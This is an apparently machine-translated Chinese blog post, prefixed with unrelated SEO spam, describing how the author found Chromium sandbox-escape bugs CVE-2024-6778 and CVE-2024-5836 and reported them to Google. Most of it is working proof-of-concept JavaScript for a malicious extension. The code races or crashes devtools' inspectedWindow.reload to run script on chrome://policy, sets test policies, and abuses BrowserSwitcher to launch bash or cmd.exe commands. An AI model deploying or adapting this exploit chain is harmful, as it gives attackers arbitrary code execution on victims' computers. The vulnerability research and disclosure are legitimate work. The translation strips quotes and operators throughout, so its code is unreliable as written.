迪拜哪个网站是做网站的,长沙企业网站建设案例,网站栏目按扭,石家庄哪里有网站建设介绍
这篇博文详细介绍了如何发现CVE-2024-6778和CVE-2024-5836的#xff0c;这是Chromium web浏览器中的漏洞#xff0c;允许从浏览器扩展#xff08;带有一点点用户交互#xff09;中进行沙盒逃逸。
简而言之#xff0c;这些漏洞允许恶意的Chrome扩展在你的电脑上运行…介绍
这篇博文详细介绍了如何发现CVE-2024-6778和CVE-2024-5836的这是Chromium web浏览器中的漏洞允许从浏览器扩展带有一点点用户交互中进行沙盒逃逸。
简而言之这些漏洞允许恶意的Chrome扩展在你的电脑上运行任何shell命令然后可能被用来安装一些更糟糕的恶意软件。攻击者不仅可以窃取你的密码并破坏你的浏览器还可以控制你的整个操作系统。
webis和Chrome沙盒
Chromium运行的所有不受信任的代码都是沙箱化的这意味着它运行在一个孤立的环境中不能访问任何它不应该访问的东西。在实践中这意味着在Chrome扩展中运行的Javascript代码只能与自身和它所访问的Javascript api进行交互。扩展可以访问哪些api取决于用户授予它的权限。然而使用这些权限最糟糕的情况是窃取某人的登录和浏览器历史记录。所有内容都应该包含在浏览器中。
另外Chromium有几个网页用来显示它的GUI使用一种叫做web的机制。它们以 chrome:// URL协议为前缀包括您可能使用过的 chrome://settings 和 chrome://history 。它们的目的是为Chromium的特性提供面向用户的UI同时使用HTML、CSS和Javascript等web技术编写。由于它们需要显示和修改特定于浏览器内部的信息因此它们被认为具有特权这意味着它们可以访问其他地方无法使用的私有api。这些私有api允许运行在web前端的Javascript代码与浏览器本身的本机C代码通信。
防止攻击者访问web非常重要因为在web页面上运行的代码可以完全绕过Chromium沙箱。例如在 chrome://downloads 上单击 .exe 文件的下载将运行可执行文件因此如果该操作是通过恶意脚本执行的则该脚本可以逃离沙箱。
在 chrome:// 页面上运行不受信任的Javascript是一种常见的攻击向量因此这些私有api的接收端执行一些验证以确保它们没有做任何用户正常情况下无法做的事情。回到 chrome://downloads 的例子Chromium通过要求从下载页面打开文件来防止这种情况触发它的动作必须来自实际的用户输入而不仅仅是Javascript。
当然有时候使用这些检查会出现Chromium开发人员没有考虑到的边缘情况。
关于企业政策
当我研究Chromium企业策略系统时我开始寻找这个漏洞。它旨在成为管理员强制将某些设置应用于公司或学校拥有的设备的一种方式。通常这些策略都与谷歌账户绑定并从谷歌自己的管理服务器下载。 企业策略还包括用户通常无法修改的内容。例如你可以用策略做的一件事是禁用恐龙彩蛋游戏 此外策略本身分为两类用户策略和设备策略。
设备策略用于管理整个Chrome OS设备的设置。它们可以像限制哪些帐户可以登录或设置发布通道一样简单。其中一些甚至可以改变设备固件的行为用于防止开发者模式或降级操作系统。但是由于此漏洞不属于Chrome OS因此设备策略现在可以忽略不计。
用户策略应用于特定的用户或浏览器实例。与设备策略不同这些策略可以在所有平台上使用并且可以在本地设置而无需依赖谷歌的服务器。例如在Linux上在 /etc/opt/chrome/policies 中放置一个JSON文件将为设备上的所有Google Chrome实例设置用户策略。
使用这种方法设置用户策略有些不方便因为写入策略目录需要root权限。但是如果有一种方法可以在不创建文件的情况下修改这些策略呢
策略界面
值得注意的是Chromium有一个用于查看应用于当前设备的策略的web位于 chrome://policy 。它显示了应用的策略列表、策略服务的日志以及将这些策略导出到JSON文件的功能。 这很好但通常无法从该页编辑策略。当然除非有一个未记录的特性可以做到这一点。
滥用策略测试页面
当我在做关于这个主题的研究时我在Chrome v117的Chrome企业发布说明中遇到了以下条目
chrome://policy/test将允许客户在Beta Dev Canary渠道上测试策略。如果有足够的客户需求我们将考虑将此功能引入稳定渠道。
事实证明这是Chromium文档中唯一提到这个特性的地方。因此在没有其他地方可看的情况下我检查了Chromium源代码以弄清楚它应该如何工作。
使用Chromium代码搜索我搜索了 chrome://policy/test 这使我找到了策略测试页面的web代码的JS部分。然后我注意到它用于设置测试策略的私有API调用
export class PolicyTestBrowserProxy {applyTestPolicies(policies: string, profileSeparationResponse: string) {return sendWithPromise(setLocalTestPolicies, policies, profileSeparationResponse);}...
}还记得我说过这些web页面可以访问私有api吗 sendWithPromise() 是其中之一。 sendWithPromise() 实际上只是 chrome.send() 的包装器它向用C编写的处理程序函数发送请求。然后处理函数可以在浏览器内部做任何它需要做的事情然后它可以返回一个值该值通过 sendWithPromise() 传递回JS端。
所以一时兴起我决定看看在JS控制台中调用这个会做什么。
//import cr.js since we need sendWithPromise
let cr await import(chrome://resources/js/cr.js);
await cr.sendWithPromise(setLocalTestPolicies, , );不幸的是运行它只会使浏览器崩溃。有趣的是崩溃日志中出现了以下一行 [17282:17282:1016/022258.064657:FATAL:local_test_policy_loader.cc(68)] Check failed: policies.has_value() policies-is_list(). List of policies expected
看起来它需要一个JSON字符串其中包含策略数组作为第一个参数这是有意义的。那我们就提供一个吧。幸运的是 policy_test_browser_proxy.ts 告诉我它期望的格式所以我不必做太多的猜测。
let cr await import(chrome://resources/js/cr.js);
let policy JSON.stringify([{ name: AllowDinosaurEasterEgg,value: false,level: 1, source: 1,scope: 1}
]);
await cr.sendWithPromise(setLocalTestPolicies, policy, );运行完这个之后…它只是工作我只是通过在 chrome://policy 上运行一些Javascript来设置一个任意的用户策略。考虑到我从来没有显式地启用过这个特性显然这里出了问题。
web界面验证失败
对于某些上下文中策略测试页面在正确启用时应该是这样的。 要正确启用此页面必须设置 PolicyTestPageEnabled 策略也没有在任何地方记录。如果一开始没有设置该策略那么 chrome://policy/test 只是重定向回 chrome://policy 。 那么为什么我能够设置测试策略而不管我禁用了 PolicyTestPageEnabled 策略呢为了调查这一点我再次查看了铬代码搜索并在C端找到了 setLocalTestPolicies 函数的web处理程序。
void PolicyUIHandler::HandleSetLocalTestPolicies(const base::Value::List args) {std::string policies args[1].GetString();policy::LocalTestPolicyProvider* local_test_provider static_castpolicy::LocalTestPolicyProvider*(g_browser_process-browser_policy_connector()-local_test_policy_provider());CHECK(local_test_provider);Profile::FromWebUI(web_ui())-GetProfilePolicyConnector()-UseLocalTestPolicyProvider();local_test_provider-LoadJsonPolicies(policies);AllowJavascript();ResolveJavascriptCallback(args[0], true);
}该函数执行的唯一验证是检查 local_test_provider 是否存在否则将导致整个浏览器崩溃。那么 local_test_provider 在什么条件下会存在呢
为了回答这个问题我找到了实际创建本地测试策略提供程序的代码。
std::unique_ptrLocalTestPolicyProvider
LocalTestPolicyProvider::CreateIfAllowed(version_info::Channel channel) {if (utils::IsPolicyTestingEnabled(/*pref_service*/nullptr, channel)) {return base::WrapUnique(new LocalTestPolicyProvider());}return nullptr;
}因此这个函数实际上执行检查以查看是否允许测试策略。如果不允许则返回null并且尝试像前面展示的那样设置测试策略将导致崩溃。
也许 IsPolicyTestingEnabled() 是行为不端函数是这样的
bool IsPolicyTestingEnabled(PrefService* pref_service,version_info::Channel channel) {if (pref_service !pref_service-GetBoolean(policy_prefs::kPolicyTestPageEnabled)) {return false;}if (channel version_info::Channel::CANARY ||channel version_info::Channel::DEFAULT) {return true;}return false;
}该函数首先检查 kPolicyTestPageEnabled 是否为true这是在正常情况下应该启用策略测试页面的策略。然而您可能注意到当调用 IsPolicyTestingEnabled() 时第一个参数 pref_service 被设置为空。这将导致检查被完全忽略。
现在剩下的唯一检查是 channel 。在这种情况下“通道”是指浏览器的发布通道类似于稳定、beta、开发或金丝雀。所以在这种情况下只允许 Channel::CANARY 和 Channel::DEFAULT 。这一定意味着我的浏览器被设置为 Channel::CANARY 或 Channel::DEFAULT 。
那么浏览器知道它在哪个频道吗这里是它确定的函数
// Returns the channel state for the browser based on branding and the
// CHROME_VERSION_EXTRA environment variable. In unbranded (Chromium) builds,
// this function unconditionally returns channel UNKNOWN and
// is_extended_stable false. In branded (Google Chrome) builds, this
// function returns channel UNKNOWN and is_extended_stable false for any
// unexpected $CHROME_VERSION_EXTRA value.
ChannelState GetChannelImpl() {
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)const char* const env getenv(CHROME_VERSION_EXTRA);const std::string_view env_str env ? std::string_view(env) : std::string_view();// Ordered by decreasing expected population size.if (env_str stable)return {version_info::Channel::STABLE, /*is_extended_stable*/false};if (env_str extended)return {version_info::Channel::STABLE, /*is_extended_stable*/true};if (env_str beta)return {version_info::Channel::BETA, /*is_extended_stable*/false};if (env_str unstable) // linux version of devreturn {version_info::Channel::DEV, /*is_extended_stable*/false};if (env_str canary) {return {version_info::Channel::CANARY, /*is_extended_stable*/false};}
#endif // BUILDFLAG(GOOGLE_CHROME_BRANDING)return {version_info::Channel::UNKNOWN, /*is_extended_stable*/false};
}如果你不知道C预处理器是如何工作的 #if BUILDFLAG(GOOGLE_CHROME_BRANDING) 部分意味着只有当 BUILDFLAG(GOOGLE_CHROME_BRANDING) 为真时才会编译所包含的代码。否则这部分代码就不存在了。考虑到我使用的是普通的Chromium而不是品牌的Google Chrome通道将始终是 Channel::UNKNOWN 。这也意味着不幸的是这个bug不会在Google Chrome的稳定版本上工作因为发布通道在那里被设置为适当的值。
enum class Channel {UNKNOWN 0,DEFAULT UNKNOWN,CANARY 1,DEV 2,BETA 3,STABLE 4,
};查看通道的枚举定义可以看到 Channel::UNKNOWN 实际上与 Channel::DEFAULT 相同。因此在Chromium及其衍生物上 IsPolicyTestingEnabled() 中的发布通道检查总是通过函数总是返回true。
通过浏览器切换器逃离沙盒
那么我可以使用设置任意用户策略的功能做些什么呢为了回答这个问题我查看了Chrome的企业政策列表。
企业策略中存在的特性之一是遗留浏览器支持模块也称为浏览器切换器。它的设计是为了适应ie用户当用户访问Chromium中的某些url时可以启动一个替代浏览器。该特性的行为都可以通过策略进行控制。
AlternativeBrowserPath 政策尤其引人注目。结合 AlternativeBrowserParameters 这允许Chromium作为“备用浏览器”启动任何shell命令。但是请记住这只适用于Linux、MacOS和Windows否则浏览器切换器策略不存在。
例如我们可以设置以下策略来让Chromium启动计算器
name: BrowserSwitcherEnabled
value: truename: BrowserSwitcherUrlList
value: [example.com]name: AlternativeBrowserPath
value: /bin/bashname: AlternativeBrowserParameters
value: [-c, xcalc # ${url}]当浏览器试图导航到 example.com 时浏览器切换器将启动并启动 /bin/bash 。 [-c, xcalc # https://example.com] 作为参数传入。 -c 告诉bash运行下一个参数中指定的命令。您可能已经注意到页面URL被替换为 ${url} 因此为了防止这混淆命令我们可以简单地将它放在 # 后面使其成为注释。因此我们能够欺骗Chromium运行 /bin/bash -c xcalc # https://example.com 。
在 chrome://policy 页面中使用它非常简单。我可以使用上述方法设置这些策略然后调用 window.open(https://example.com) 来触发浏览器切换器。
let cr await import(chrome://resources/js/cr.js);
let policy JSON.stringify([{ //enable the browser switcher featurename: BrowserSwitcherEnabled,value: true,level: 1,source: 1,scope: 1}, { //set the browser switcher to trigger on example.comname: BrowserSwitcherUrlList,value: [example.com],level: 1,source: 1,scope: 1}, { //set the executable path to launchname: AlternativeBrowserPath,value: /bin/bash,level: 1,source: 1,scope: 1}, { //set the arguments for the executablename: AlternativeBrowserParameters,value: [-c, xcalc # https://example.com],level: 1,source: 1,scope: 1}
]);//set the policies listed above
await cr.sendWithPromise(setLocalTestPolicies, policy, );
//navigate to example.com, which will trigger the browser switcher
window.open(https://example.com)这就是沙盒逃生。我们已经成功地通过运行在 chrome://policy 上的Javascript运行了一个任意shell命令。
破坏Devtools API
您可能已经注意到到目前为止这种攻击要求受害者在 chrome://policy 上将恶意代码粘贴到浏览器控制台。实际上说服别人这样做是相当困难的这会让bug变得毫无用处。现在我的新目标是在 chrome://policy 中自动运行这个JS。
最可能的方法是创建一个恶意的Chrome扩展。Chrome扩展api具有相当大的攻击面并且扩展本身就具有将JS注入页面的能力。但是正如我前面提到的扩展不允许在特权web页面上运行JS所以我需要找到一种方法来解决这个问题。
扩展在页面上执行JS有4种主要方式
chrome.scripting 它直接在特定的选项卡中执行JS。chrome.tabs 在Manifest v2中其工作原理类似于 chrome.scripting 。chrome.debugger 使用远程调试协议。chrome.devtools.inspectedWindow 当devtools打开时与被检查的页面交互。
在调查这个问题时我决定研究 chrome.devtools.inspectedWindow 因为我觉得它是最模糊的因此最不坚固。这个假设被证明是正确的。
chrome.devtools api的工作方式是所有使用该api的扩展必须在其清单中包含 devtools_page 字段。例如:
{name: example extension,version: 1.0,devtools_page: devtools.html,...
}从本质上讲它所做的就是指定每当用户打开devtools时devtools页面将 devtools.html 作为iframe加载。在该iframe内扩展可以使用所有 chrome.devtools api。您可以参考API文档了解细节。
在研究 chrome.devtools.inspectedWindow api时我注意到David Erceg之前的一个bug报告其中涉及到 chrome.devtools.inspectedWindow.eval() 的一个bug。他设法在web上执行代码方法是在正常页面上打开devtools然后运行 chrome.devtools.inspectedWindow.eval() 并使用一个脚本使页面崩溃。然后可以将这个崩溃的选项卡导航到web页面在那里将重新运行eval请求从而在那里获得代码执行。
值得注意的是 chrome.devtools api应该通过在被检查的页面导航到web后禁用它们的使用来防止这种特权执行。正如David Erceg在他的bug报告中所演示的那样绕过这个问题的关键是在Chrome决定禁用devtools API之前发送eval请求并确保请求到达web页面。
在阅读了该报告之后我想知道 chrome.devtools.inspectedWindow.reload() 是否可能有类似的情况。这个函数也能够在被检查的页面上运行JS只要将 injectedScript 传递给它。
当被检查的页面是属于web的 about:blank 页面时当我尝试调用 inspectedWindow.reload() 时出现了可利用的第一个迹象。 about:blank 页面在这方面是唯一的因为即使URL不是特殊的它们也继承了打开它们的页面的权限和来源。因为从web打开的 about:blank 页面是特权的您会期望尝试评估该页上的JS将被阻止。 令人惊讶的是这确实有效。注意警报的标题中包含了该页的起源即 chrome://settings 因此该页实际上具有特权。但是等等devtools API不是应该通过完全禁用API来防止这种事情吗它不考虑 about:blank 页面的边缘情况。下面是处理禁用API的代码
private inspectedURLChanged(event: Common.EventTarget.EventTargetEventSDK.Target.Target): void {if (!ExtensionServer.canInspectURL(event.data.inspectedURL())) {this.disableExtensions();return;}...
}重要的是这里只考虑URL而不考虑页面的来源。正如我前面所演示的这可以是两个不同的东西。即使URL是良性的源也可能不是。
滥用 about:blank 很好但在创建漏洞利用链的上下文中并不是很有用。我想让代码执行的页面 chrome://policy 从不打开任何 about:blank 弹出窗口所以这已经是一个死胡同。然而我注意到即使 inspectedWindow.eval() 失败 inspectedWindow.reload() 仍然成功运行并在 chrome://settings 上执行JS。这表明 inspectedWindow.eval() 有自己的检查看看是否被检查页面的起源是允许的而 inspectedWindow.reload() 没有自己的检查。
然后我想知道我是否可以直接发送 inspectedWindow.reload() 调用这样如果这些请求中至少有一个落在web页面上我就可以执行代码。
function inject_script() {chrome.devtools.inspectedWindow.reload({injectedScript: //check the origin, this script wont do anything on a non chrome pageif (!origin.startsWith(chrome://)) return;alert(hello from chrome.devtools.inspectedWindow.reload);});
}setInterval(() {for (let i0; i5; i) {inject_script(); }
}, 0); chrome.tabs.update(chrome.devtools.inspectedWindow.tabId, {url: chrome://policy});这是攻击链的最后一个环节。这个竞争条件依赖于被检查的页面和devtools页面是不同的进程。当在巡检页面中跳转到web界面时在devtools页面实现并关闭API之前会有一小段时间窗口。如果在此时间间隔内调用 inspectedWindow.reload() 则重新加载请求将在web页面上结束。
编写POC
既然我已经完成了开发的所有步骤我就开始将POC代码放在一起。概括地说这个POC必须完成以下工作
使用 chrome.devtools.inspectedWindow.reload() 中的竞争条件在 chrome://policy上执行JS负载该负载调用 sendWithPromise(setLocalTestPolicies, policy) 来设置自定义用户策略。设置 BrowserSwitcherEnabled 、 BrowserSwitcherUrlList 、 AlternativeBrowserPath 和 AlternativeBrowserParameters 指定 /bin/bash 作为“备用浏览器”。浏览器切换器由一个简单的 window.open() 调用触发该调用执行一个shell命令。
最终的POC是这样的
let executable, flags;
if (navigator.userAgent.includes(Windows NT)) {executable C:\\Windows\\System32\\cmd.exe;flags [/C, calc.exe rem ${url}];
}
else if (navigator.userAgent.includes(Linux)) {executable /bin/bash;flags [-c, xcalc # ${url}];
}
else if (navigator.userAgent.includes(Mac OS)) {executable /bin/bash;flags [-c, open -na Calculator # ${url}];
}//function which injects the content script into the inspected page
function inject_script() {chrome.devtools.inspectedWindow.reload({injectedScript: (async () {//check the origin, this script wont do anything on a non chrome pageconsole.log(origin);if (!origin.startsWith(chrome://)) return;//import cr.js since we need sendWithPromiselet cr await import(chrome://resources/js/cr.js);//here are the policies we are going to setlet policy JSON.stringify([{ //enable the browser switcher featurename: BrowserSwitcherEnabled,value: true,level: 1,source: 1,scope: 1}, { //set the browser switcher to trigger on example.comname: BrowserSwitcherUrlList,value: [example.com],level: 1,source: 1,scope: 1}, { //set the executable path to launchname: AlternativeBrowserPath,value: ${JSON.stringify(executable)},level: 1,source: 1,scope: 1}, { //set the arguments for the executablename: AlternativeBrowserParameters,value: ${JSON.stringify(flags)},level: 1,source: 1,scope: 1}]);//set the policies listed aboveawait cr.sendWithPromise(setLocalTestPolicies, policy, );setTimeout(() {//navigate to example.com, which will trigger the browser switcherlocation.href https://example.com;//open a new page so that there is still a tab remaining after thisopen(about:blank); }, 100);})()});
}//interval to keep trying to inject the content script
//theres a tiny window of time in which the content script will be
//injected into a protected page, so this needs to run frequently
function start_interval() {setInterval(() {//loop to increase our oddsfor (let i0; i3; i) {inject_script(); }}, 0);
}async function main() {//start the interval to inject the content scriptstart_interval();//navigate the inspected page to chrome://policylet tab await chrome.tabs.get(chrome.devtools.inspectedWindow.tabId);await chrome.tabs.update(tab.id, {url: chrome://policy});//if this times out we need to retry or abortawait new Promise((resolve) {setTimeout(resolve, 1000)});let new_tab await chrome.tabs.get(tab.id);//if were on the policy page, the content script didnt get injectedif (new_tab.url.startsWith(chrome://policy)) {//navigate back to the original pageawait chrome.tabs.update(tab.id, {url: tab.url});//discarding and reloading the tab will close devtoolssetTimeout(() {chrome.tabs.discard(tab.id);}, 100)}//were still on the original page, so reload the extension frame to retryelse {location.reload();}
}main();有了这些我就准备写bug报告了。我最终完成了脚本编写了一份漏洞解释在多个操作系统上进行了测试并将其发送给谷歌。
然而此时仍然存在一个明显的问题 .inspectedWindow.reload() 的竞争条件不是很可靠。我设法调整它使它在70%的时间内工作但这仍然不够。尽管它能够正常工作的事实确实使其成为一个严重的漏洞但不可靠性将大大降低其严重性。所以我开始努力寻找更好的方法。
POC优化
还记得我在David Erceg的bug报告中提到的他利用了选项卡崩溃后调试器请求仍然存在的事实吗我想知道这个方法是否也适用于 inspectedWindow.reload() 所以我测试了它。我还对 debugger 语句进行了修改似乎在一行中触发调试器两次会导致选项卡崩溃。
所以我开始写一个新的POC
let tab_id chrome.devtools.inspectedWindow.tabId;//function which injects the content script into the inspected page
function inject_script() {chrome.devtools.inspectedWindow.reload({injectedScript: //check the origin, so that the debugger is triggered instead if we are not on a chrome pageif (!origin.startsWith(chrome://)) {debugger;return;}alert(hello from chrome.devtools.inspectedWindow.reload);});
}function sleep(ms) {return new Promise((resolve) {setTimeout(resolve, ms)})
}async function main() {//we have to reset the tabs origin here so that we dont crash our own extension process//this navigates to example.org which changes the tabs originawait chrome.tabs.update(tab_id, {url: https://example.org/});await sleep(500);//navigate to about:blank from within the example.org page which keeps the same originchrome.devtools.inspectedWindow.reload({injectedScript: location.href about:blank; })await sleep(500);inject_script(); //pause the current tabinject_script(); //calling this again crashes the tab and queues up our javascriptawait sleep(500);chrome.tabs.update(tab_id, {url: chrome://settings});
}main();而且很有效这种方法的优点在于它消除了对竞争条件的需求并使攻击100%可靠。然后我将新的POC和所有 chrome://policy 内容上传到bug报告线程的评论中。
但为什么这个疏忽仍然存在即使它应该在4年前被修补我们可以通过查看之前的漏洞是如何被修补的来找出原因。谷歌的解决方案是在标签崩溃后清除所有未决的调试器请求这似乎是一个明智的方法
void DevToolsSession::ClearPendingMessages(bool did_crash) {for (auto it pending_messages_.begin(); it ! pending_messages_.end();) {const PendingMessage message *it;if (SpanEquals(crdtp::SpanFrom(Page.reload),crdtp::SpanFrom(message.method))) {it;continue;}// Send error to the client and remove the message from pending.std::string error_message did_crash ? kTargetCrashedMessage : kTargetClosedMessage;SendProtocolResponse(message.call_id,crdtp::CreateErrorResponse(message.call_id,crdtp::DispatchResponse::ServerError(error_message)));waiting_for_response_.erase(message.call_id);it pending_messages_.erase(it);}
}您可能会注意到它似乎包含了 Page.reload 请求的异常因此它们不会被清除。在内部 inspectedWindow.reload() API发送一个 Page.reload 请求因此 inspectedWindow.reload() API调用不受此补丁的影响。谷歌确实修补了这个漏洞然后添加了一个例外这使得这个漏洞再次出现。我猜他们没有意识到 Page.reload 也可以运行脚本。
另一个谜是为什么当 debugger 语句运行两次时页面崩溃。我仍然不完全确定这一个但我认为我把它缩小到铬的渲染器代码中的一个功能。它特别发生在Chromium检查导航状态时当它遇到意外状态时它就崩溃了。当RenderFrameImpl::SynchronouslyCommitAboutBlankForBug778318被调用时这个状态会变得混乱这是处理 about:blank 的另一个副作用。当然任何类型的崩溃都会发生比如 [...new Array(2**31)] 这会导致选项卡耗尽内存。然而 debugger 崩溃是更快触发所以这就是我在我的最终POC中使用的。
无论如何下面是这个漏洞的实际情况
顺便说一下您可能已经注意到显示的“扩展安装错误”屏幕。这只是为了欺骗用户打开devtools从而触发导致沙盒逃逸的链条。
谷歌的反馈
在报告了这个漏洞后谷歌迅速确认了这个漏洞并将其分类为P1/S1这意味着高优先级和高严重性。在接下来的几周内实施了以下修复
为 Page.reload 命令添加 loaderId 参数并检查呈现端 loaderID -这确保命令仅对单个源有效并且如果命令无意中到达特权页面将不起作用。检查 inspectedWindow.reload() 函数中的URL—现在该函数不仅依赖于撤销访问的扩展API。检查测试策略是否在web处理程序中启用—通过在处理程序功能中添加工作检查可以防止完全设置测试策略。
最终涉及竞态条件的漏洞被分配为CVE-2024-5836 CVSS严重性评分为8.8高。涉及被检查页面崩溃的漏洞被分配为CVE-2024-6778严重性评分也为8.8。
结论
我想所有这些的主要收获是如果你在正确的地方最简单的错误可以相互叠加导致一个惊人的高严重性的漏洞。考虑到 inspectedWindow.reload 漏洞实际上早在Chrome v45就存在你也不能相信非常老的代码在多年后仍然安全。此外像策略测试页面错误一样向每个人发布完全没有文档记录、不完整和不安全的特性并不是一个好主意。最后在修复漏洞时您应该检查是否可能存在类似的错误并尝试修复它们。